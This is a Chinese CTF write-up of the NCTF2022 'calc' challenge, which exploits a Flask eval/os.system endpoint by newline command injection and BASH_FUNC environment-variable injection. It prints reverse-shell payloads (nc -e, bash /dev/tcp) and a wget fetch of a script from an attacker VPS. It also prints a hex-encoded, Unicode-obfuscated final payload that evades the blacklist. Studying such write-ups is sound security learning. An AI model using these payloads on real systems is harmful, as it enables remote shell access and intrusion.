calc(环境变量注入getshell)

经典计算器题目,看着有点眼熟,没错,就是buu三月赛的一道题目。由于那时候web可能都算不上入门,所以也就没有复现。比赛时就网上看了看三月赛的wp,但是没有什么用,因为过滤更加严格了,看题目代码:

@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
def waf(s):
blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&',
'getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess',
'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self',
'item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
print(no)
break
return flag

比赛思路

突破口有两处,eval命令执行以及os.system函数执行代码。网上用的都是利用os.system函数来执行命令的。它执行的是log参数里面的内容,

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)

参数部分可控,接下来我们所要做的就是截断已有命令,让os.system函数去单独执行num中的代码,buu三月赛是用反引号来绕过,因为有反引号会先执行反引号里的代码。但是在这里反引号被过滤掉了,当时测试是可以用换行来绕过的,赛后看师傅们的wp也确实是这样,

当时想着反弹shell,但是没有成功,回头检查一遍发现还需要绕过eval函数,因为我们传入的payload先经过eval函数处理会发生报错,这就导致os.system函数无法执行,buu三月赛是用#把后面代码注释掉,是一个好点子,但是这一题也过滤了。实在想不出还能怎么绕,最后也是放弃了,坐等赛后wp(菜哭)。

非预期解

网上师傅们的wp全是这一种非预期解法,后来平台好像为了考察预期解又新出一道calc升级版。这个非预期同样也是解决上面那两个问题,num参数单独代码执行,使用换行绕过。满足eval正常执行则是用单引号将我们传入的代码包裹起来,使其成为字符串,这样就不会报错了 ,妙啊。

又因为没有回显,可以wget命令从我们服务器下载恶意sehll脚本,然后在题目中执行。如果题目出网,那么我们可以反弹shell或者将flag文件外带出来,例如我们反弹shell,编写恶意shell脚本:

#!/bin/bash
nc vps port -e /bin/sh

题目中我们传入参数:

num=%0A'wget'%09'http://vps/hack.sh'%0A
num=%0A'bash'%09'hack.sh'%0A

同时vps开启监听,但是赛后测试并没有弹过来,利用curl外带也没有成功,不知道是啥细节上出问题了。最主要的是学习一下这一种思路。

预期解

看了出题人的wp之后,知道他是根据p神的一篇环境变量注入的文章得来的灵感,

我是如何利用环境变量注入执行任意命令 - 跳跳糖

p神的文章对于小白来说还是容易劝退的,C语言基础不是很好的我看底层代码还是有些费劲。下来主要说一下p神这篇文章利用环境变量注入来getshell的思想。

php的system函数在底层调用了popen函数,而最终执行的命令就是sh -c,我们知道sh是一个软连接,它指向bash或者dash,在system函数执行的时候,就会执行sh这个二进制文件,如果我们在sh底层源码中找到可以利用的环境变量,也就可以执行命令。其中能够利用的就是variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量。其中的一段if条件语句判断:

if (privmode == 0 && read_but_dont_execute == 0 && 
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
STREQN ("() {", string, 4))

p神也给了其中的解释

这段很重要,也是能否看懂这道题payload的关键。也就是满足这些条件,它会注册一个shell变量并执行。

env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'

也就这样创建类似匿名函数并执行,就会执行id这个命令。针对本题就说这些,了解更多还得细读p神的文章,能够学到很多。

依据上面的思想我们是否能在python中运用。同样python3中system函数底层代码实现中也调用了/bin/sh -c来执行shell命令,附上官方wp:

NCTF2022 Official Writeup | 小绿草信息安全实验室

同理我们也可以注入环境变量来命令执行。那么在这一题我们怎么注入环境变量,没有直观的putenv函数,只能通过eval来覆盖或者赋值,参考这篇文章:

[Python黑魔法-]绕过空格实现变量覆盖 - Twings

利用for循环来变量覆盖:

还可以用中括号来绕过空格,虽然不知道为什么可以这样,好像是python的特性吧。本地测试一下向os.environ注入新的环境变量

完全可以,这样环境变量覆盖的问题也解决了。在此,我们需要设置的环境变量为:

os.environ['BASH_FUNC_echo%%']='() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}'

当然echo只是一个函数名,设置成什么字母无所谓,我们需要for循环对该环境变量进行注入,且绕过空格,所以进一步的payload为

[[str][0]for[os.environ['BASH_FUNC_echo%%']]in[['() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}']]]

剩下的就是绕过黑名单了,在python中,用单双引号包裹的字符串是能够识别十六进制的,所以只需要将敏感字符十六进制编码即可绕过。最后就是怎么绕过os了。这里对于我来说又是一个新的点,python在处理utf-8中的非ascii字符的时候,会被转化成统一的标准格式。

就像官方wp上可以用ᵒ来代替o,这下问题都全部解决了,所以最终payload为:

[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]]

nss上线了这道题,用该payload试一下

最终也是弹成功了。

结语

这都是在基于system函数执行的条件下(无论是php还是python),底层调用sh二进制文件,我们都可以注入环境变量来rce。换句话说,如果底层调用了sh -c命令的函数执行的话,具有环境变量注入条件,使用这个方法来getshell应该是可以的。这个赛题个人感觉质量很高,能够从中学习到很多知识。